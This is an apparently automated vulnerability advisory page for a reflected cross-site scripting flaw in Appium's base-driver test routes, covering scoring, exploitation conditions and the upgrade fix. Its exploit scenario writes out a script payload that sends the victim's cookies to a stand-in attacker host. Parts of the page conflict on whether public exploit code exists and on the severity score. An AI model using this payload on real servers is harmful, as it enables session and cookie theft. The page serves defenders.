Skip to main content

Appium EUVDEUVD-2026-42425

| CVE-2026-58191 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-08 security-advisories@github.com GHSA-3wgp-x9p5-c7cc
6.1
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify network-reachable Appium server < 10.7.0
  2. Delivery
    Craft URL to /test/guinea-pig with XSS payload in throwError parameter
  3. Exploit
    Deliver malicious URL to Appium user via phishing or redirect
  4. Execution
    Victim browser loads crafted URL against Appium origin
  5. Persist
    Injected JavaScript executes on server origin
  6. Impact
    Exfiltrate session tokens or perform origin-scoped actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The Appium server (prior to 10.7.0) must be network-reachable from the attacker - either directly via an exposed port, through an internal network the attacker has access to, or via SSRF from another reachable service. No special configuration is required to expose the vulnerable routes: /test/guinea-pig, /test/guinea-pig-scrollable, and /test/guinea-pig-app-banner are unconditionally registered by the base-driver and cannot be disabled without patching. A victim (developer, tester, or CI service account with browser access) must be induced to visit a crafted URL pointing at the vulnerable Appium server (UI:R). Exploitation is bounded by: (1) Appium's typical deployment as a localhost or internal-network tool rather than a publicly internet-facing service, (2) requirement for victim interaction with a crafted link, and (3) impact scoped to the Appium server's browser origin, not the underlying OS or automation targets.

Impact

The vendor-provided CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N, score 6.5) scores this as Medium severity, driven by the High integrity impact of arbitrary JavaScript execution and tempered by the required user interaction (UI:R). Notably, the vector rates confidentiality as None, which underestimates the realistic impact of XSS - a successful attack can harvest session tokens, cookies, and locally scoped data; an independent assessment yields C:L. No CISA KEV listing and no public POC code have been identified, making this a theoretical-but-credible risk rather than an actively exploited issue. The most significant real-world constraint is deployment context: Appium is a developer and CI tool, and instances bound to localhost or internal CI networks are not reachable by external attackers. However, Appium servers exposed on shared CI runners, corporate network segments, or misconfigured cloud build agents present genuine phishing-chain risk. The combination of PR:N (no attacker authentication) and unconditionally mounted routes means there is no defense-in-depth at the application layer below the patch.

Exploit ScenarioDerived

An attacker who can observe or predict that a developer or CI agent has a running Appium server on a reachable network interface crafts a URL targeting /test/guinea-pig?throwError=<script>document.location='https://attacker.example/steal?c='+document.cookie</script> and delivers it via phishing email, a malicious link in a Slack message, or an SSRF-capable redirect. When the victim's browser loads the URL against the Appium server origin, the injected script executes and exfiltrates any origin-scoped session material. No public POC has been identified, but the attack requires no special tooling beyond a browser and knowledge of the vulnerable endpoint.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 08, 2026

Reflected cross-site scripting in Appium's base-driver allows unauthenticated remote attackers to execute arbitrary JavaScript in a victim's browser on the Appium server origin. All Appium installations prior to 10.7.0 unconditionally expose three test routes whose compileLodashTemplate handler reflects unsanitized user-controlled inputs - the throwError query parameter, the comments POST field, and the User-Agent request header - directly into rendered HTML without output encoding. No public exploit has been identified at time of analysis, but the zero-authentication requirement and permanently-mounted test routes make any network-reachable Appium server an attack surface with no opt-out mechanism below the fix version.

RemediationAI

Upgrade Appium to version 10.7.0 or later, which removes or properly escapes the reflected inputs in the affected test route handlers; this is the primary and confirmed fix per vendor advisory GHSA-3wgp-x9p5-c7cc at https://github.com/appium/appium/security/advisories/GHSA-3wgp-x9p5-c7cc. If immediate upgrade is not feasible, restrict Appium's network binding to localhost (127.0.0.1) only - preventing remote access eliminates the network attack vector entirely, though this may break remote device farm configurations. Alternatively, deploy a reverse proxy or host-based firewall rule blocking external access to the Appium port (default 4723) from untrusted networks; note this requires firewall management overhead and does not fix the underlying flaw. There is no known configuration flag to disable the vulnerable test routes without patching.

Affected VersionsENISA

appium < 10.7.0

Affected Packages

npm @appium/base-driver fix: 10.7.0
euvd appium fix: 10.7.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Appium is a W3C WebDriver-based automation framework for mobile and desktop applications, primarily used in CI/QA pipelines. Its base-driver component registers three unconditional HTTP routes - /test/guinea-pig, /test/guinea-pig-scrollable, and /test/guinea-pig-app-banner - that render HTML pages using Lodash template compilation via compileLodashTemplate. The root cause (CWE-79, Improper Neutralization of Input During Web Page Generation) is the absence of HTML entity encoding before interpolating user-supplied values into the template output. Because these routes are hardcoded into the base-driver and cannot be disabled through configuration, every Appium instance prior to 10.7.0 exposes this attack surface regardless of deployment intent. Affected versions are confirmed as appium < 10.7.0 per EUVD-2026-42425.

Know when Appium Base Driver gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 7.1 HIGH

Network-accessible routes, no attacker auth needed (PR:N), but victim must visit URL (UI:R); C:L added because XSS enables cookie and session token theft beyond integrity-only impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
CVSS changed
Jul 15, 2026 - 20:37 NVD
6.5 (MEDIUM) 6.1 (MEDIUM)
Patch available
Jul 08, 2026 - 22:04 EUVD

DescriptionNVD

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 10.7.0, Appium's base-driver unconditionally mounts the /test/guinea-pig, /test/guinea-pig-scrollable, and /test/guinea-pig-app-banner routes, and compileLodashTemplate reflects the throwError query parameter, comments POST field, and User-Agent request header into HTML without escaping, allowing reflected cross-site scripting and arbitrary JavaScript execution on the server origin. This issue is fixed in version 10.7.0.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 npm packages depend on @appium/base-driver (2 direct, 1 indirect)

Ecosystem-wide dependent count for version 10.7.0.

Threat Intelligence Overview

EPSS Score
0.3%
Top 80% exploitable
Prevalence
Medium
widely adopted mobile and desktop app automation framework in QA pipelines
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA POC (1) GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy